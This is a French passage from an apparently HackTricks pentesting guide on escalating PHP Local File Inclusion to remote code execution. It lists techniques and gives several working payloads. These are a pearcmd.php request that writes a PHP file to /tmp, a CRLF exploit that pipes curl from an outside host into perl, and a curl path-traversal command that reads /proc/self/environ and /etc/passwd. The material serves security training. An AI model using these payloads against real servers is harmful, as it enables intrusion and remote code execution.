Ce writeup explique que vous pouvez utiliser php filters pour générer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l’include sans avoir besoin de l’écrire dans un fichier.

LFI2RCE via PHP Filters

Via segmentation fault

Téléversez un fichier qui sera stocké en temporaire dans /tmp, puis dans la même requête, déclenchez un segmentation fault ; le fichier temporaire ne sera pas supprimé et vous pourrez le retrouver.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Si vous avez trouvé une Local File Inclusion et que Nginx est en frontal devant PHP, vous pourriez obtenir RCE avec la technique suivante :

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous avez trouvé une Local File Inclusion, même si vous n’avez pas de session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans des données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Si vous avez trouvé une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir RCE :

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Comme expliqué dans ce post, le script /usr/local/lib/phppearcmd.php existe par défaut dans les images docker php. De plus, il est possible de passer des arguments au script via l’URL car il est indiqué que si un paramètre d’URL n’a pas de =, il doit être utilisé comme argument. Voir aussi watchTowr’s write-up et Orange Tsai’s “Confusion Attacks”.

La requête suivante crée un fichier dans /tmp/hello.php avec le contenu <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Ce qui suit exploite une vuln CRLF pour obtenir RCE (d’après here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si vous trouvez une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si vous trouvez une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des balises PHP, vous pouvez tenter de contourner cette vérification avec cette Race Condition :

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Si vous pouvez abuser du LFI pour upload temporary files et faire hang l’exécution PHP du serveur, vous pourriez alors brute force les noms de fichiers pendant des heures pour trouver le fichier temporaire :

LFI2RCE via Eternal waiting

Vers Fatal Error

Si vous incluez l’un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour provoquer cette erreur).

Je ne sais pas à quel point c’est utile mais ça pourrait l’être.
Même si vous provoquez une PHP Fatal Error, les fichiers temporaires PHP uploadés sont supprimés.

Préserver les séquences de traversal depuis le client

Certains clients HTTP normalisent ou réduisent ../ avant que la requête n’atteigne le serveur, ce qui casse les payloads de directory traversal. Utilisez curl --path-as-is pour conserver les séquences de traversal intactes lorsque vous abusez des endpoints log/download qui concatènent un nom de fichier contrôlé par l’utilisateur, et ajoutez --ignore-content-length pour des pseudo-fichiers comme /proc :

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ajustez le nombre de segments ../ jusqu’à sortir du répertoire prévu, puis récupérez le contenu de /etc/passwd, /proc/self/cwd/app.py, ou d’autres fichiers source/de configuration.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks